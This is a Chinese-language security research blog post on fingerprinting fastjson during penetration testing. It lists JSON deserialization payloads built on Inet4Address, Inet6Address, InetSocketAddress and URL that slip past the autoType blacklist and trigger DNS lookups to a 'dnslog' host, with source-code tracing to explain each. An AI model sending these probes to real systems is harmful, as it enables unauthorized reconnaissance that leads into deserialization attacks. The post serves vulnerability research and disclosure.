0x01 背景 在渗透测试中遇到json数据一般都会测试下有没有反序列化。然而json库有fastjson
,jackson
,gson
等等。怎么判断后端不是fastjson呢?这就需要构造特定的payload了。
昨天翻看fastjson源码时发现了一些可以构造dns解析且没在黑名单当中的类,于是顺手给官方提了下Issue 。有趣的是后续的师傅们讨论还挺热闹的,我也在这次讨论中学习了很多。这篇文章算是对那些方法的汇总和原理分析。
0x02 方法一:利用java.net.Inet[4|6]Address 很早之前有一个方法是使用java.net.InetAddress
类,现在这个类已经列入黑名单。然而在翻阅fastjson最新版源码(v1.2.67
)时,发现两个类没有在黑名单中,于是可以构造了如下payload,即可使fastjson进行DNS解析。下面以java.net.Inet4Address
为例分析构造原理。
1 2 {"@type" :"java.net.Inet4Address" ,"val" :"dnslog" } {"@type" :"java.net.Inet6Address" ,"val" :"dnslog" }
我们知道在fastjson在反序列化之前都会调用checkAutoType
方法对类进行检查。通过调试发现,由于java.net.Inet4Address
不在黑名单中,所以就算开启AutoType也是能过1
处的检查。
fastjson的ParserConfig类自己维护了一个IdentityHashMap
,在这个HashMap中的类会被认为是安全的。在2
处可以在IdentityHashMap中可以获取到java.net.Inet4Address
,所以clazz
不为null
,导致在3
处就返回了。跳过了后续的未开启AutoType
的黑名单检查。所以可以发现无论AutoType
是否开启,都可以过checkAutoType
的检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { ... Class clazz; if (!internalWhite && (this .autoTypeSupport || expectClassFlag)) { hash = h3; for (mask = 3 ; mask < className.length(); ++mask) { hash ^= (long )className.charAt(mask); hash *= 1099511628211L ; .... if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null && Arrays.binarySearch(this .acceptHashCodes, fullHash) < 0 ) { throw new JSONException("autoType is not support. " + typeName); } } } clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = this .deserializers.findClass(typeName); } if (clazz == null ) { clazz = (Class)this .typeMapping.get(typeName); } if (internalWhite) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader, true ); } if (clazz != null ) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this .autoTypeSupport) { hash = h3; for (mask = 3 ; mask < className.length(); ++mask) { char c = className.charAt(mask); hash ^= (long )c; hash *= 1099511628211L ; if (Arrays.binarySearch(this .denyHashCodes, hash) >= 0 ) { throw new JSONException("autoType is not support. " + typeName); } ... } } } ... }
fastjason对于Inet4Address
类会使用MiscCodec
这个ObjectDeserializer
来反序列化。跟进发现解析器会取出val字段的值赋值给strVal变量,由于我们的类是Inet4Address,所以代码会执行到1处,进行域名解析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public <T> T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) { ... objVal = parser.parse(); ... strVal = (String)objVal; if (strVal != null && strVal.length() != 0 ) { if (clazz == UUID.class) { ... } else if (clazz == URI.class) { ... } else if (clazz == URL.class) { ... } else if (clazz == Pattern.class) { ... } else if (clazz == Locale.class) { ... } else if (clazz == SimpleDateFormat.class) { ... } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) { ... } else { try { return InetAddress.getByName(strVal); } catch (UnknownHostException var11) { throw new JSONException("deserialize inet adress error" , var11); } } } else { return null ; } }
0x03 方法二:利用java.net.InetSocketAddress java.net.InetSocketAddress
类也在IdentityHashMap
中,和上面一样无视checkAutoType
检查。
通过它要走到InetAddress.getByName()
流程相比方法一是要绕一些路的。刚开始一直没构造出来,后来在和实验室的@背影
师傅交流时,才知道可以顺着解析器规则构造(它要啥就给它啥
),最终payload如下,当然它是畸形的json。
1 {"@type" :"java.net.InetSocketAddress" {"address" :,"val" :"dnslog" }}
那这个是怎样构造出来的呢?这就需要简单了解下fastjson的词法分析器了,这里就不展开了。这里尤为关键的是解析器token
值对应的含义,可以在com.alibaba.fastjson.parser.JSONToken
类中看到它们。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 public class JSONToken { ... public static String name (int value) { switch (value) { case 1 : return "error" ; case 2 : return "int" ; case 3 : return "float" ; case 4 : return "string" ; case 5 : return "iso8601" ; case 6 : return "true" ; case 7 : return "false" ; case 8 : return "null" ; case 9 : return "new" ; case 10 : return "(" ; case 11 : return ")" ; case 12 : return "{" ; case 13 : return "}" ; case 14 : return "[" ; case 15 : return "]" ; case 16 : return "," ; case 17 : return ":" ; case 18 : return "ident" ; case 19 : return "fieldName" ; case 20 : return "EOF" ; case 21 : return "Set" ; case 22 : return "TreeSet" ; case 23 : return "undefined" ; case 24 : return ";" ; case 25 : return "." ; case 26 : return "hex" ; default : return "Unknown" ; } } }
构造这个payload需要分两步,第一步我们需要让代码执行到1处,这一路解析器要接收的字符在代码已经标好。按照顺序写就是{"@type":"java.net.InetSocketAddress"{"address":
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public <T> T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; String className; if (clazz == InetSocketAddress.class) { if (lexer.token() == 8 ) { lexer.nextToken(); return null ; } else { parser.accept(12 ); InetAddress address = null ; int port = 0 ; while (true ) { className = lexer.stringVal(); lexer.nextToken(17 ); if (className.equals("address" )) { parser.accept(17 ); address = (InetAddress)parser.parseObject(InetAddress.class); } ... } } } ... }
parser.parseObject(InetAddress.class)
最终依然会,调用MiscCodec#deserialze()
方法来序列化,这里就来到我们构造payload的第二步。第二步的目标是要让解析器走到InetAddress.getByName(strVal)
。解析器要接受的字符在代码里标好了,按照顺序写就是,"val":"http://dnslog"}
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public <T> T deserialze (DefaultJSONParser parser, Type clazz, Object fieldName) { JSONLexer lexer = parser.lexer; String className; if (clazz == InetSocketAddress.class) { ... } else { Object objVal; if (parser.resolveStatus == 2 ) { parser.resolveStatus = 0 ; parser.accept(16 ); if (lexer.token() != 4 ) { throw new JSONException("syntax error" ); } if (!"val" .equals(lexer.stringVal())) { throw new JSONException("syntax error" ); } lexer.nextToken(); parser.accept(17 ); objVal = parser.parse(); parser.accept(13 ); } .... strVal = (String)objVal; if (strVal != null && strVal.length() != 0 ) { if (clazz == UUID.class) { ... } else if (clazz == URI.class) { ... } else if (clazz == URL.class) { ... } else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) { ... } else { try { return InetAddress.getByName(strVal); } catch (UnknownHostException var11) { throw new JSONException("deserialize inet adress error" , var11); } } } }
两段合起来就得到了最终的payload。
0x04 方法三:利用java.net.URL java.net.URL
类也在IdentityHashMap
中,和上面一样无视checkAutoType
检查。
1 {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
来源于@retanoj
和@threedr3am
两位师傅的启发,其原理和ysoserial中的URLDNS
这个gadget原理一样。
简单来说就是向HashMap压入一个键值对时,HashMap需要获取key对象的hashcode。当key对象是一个URL对象时,在获取它的hashcode
期间会调用getHostAddress
方法获取host,这个过程域名会被解析。
fastjson解析上述payload时,先反序列化出URL(http://dnslog)
对象,然后将{URL(http://dnslog):"x"}
解析为一个HashMap,域名被解析。
@retanoj
在Issue 中还构造了好几个畸形的payload,虽然原理都是一样的,但还是挺有意思的,感受到了师傅对fastjson词法分析器透彻的理解。
1 2 3 4 {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""} Set[{"@type":"java.net.URL","val":"http://dnslog"}] Set[{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:0
0x05 留一个问题 最后留个问题吧,我们都知道一般影响fastjson的gadget也会影响jackson。那么我们上面构造的payload,使用相同的原理能在jackson实现么?如果能,又该怎么构造呢?欢迎在blog留言区分享你的思考。
0x06 参考文献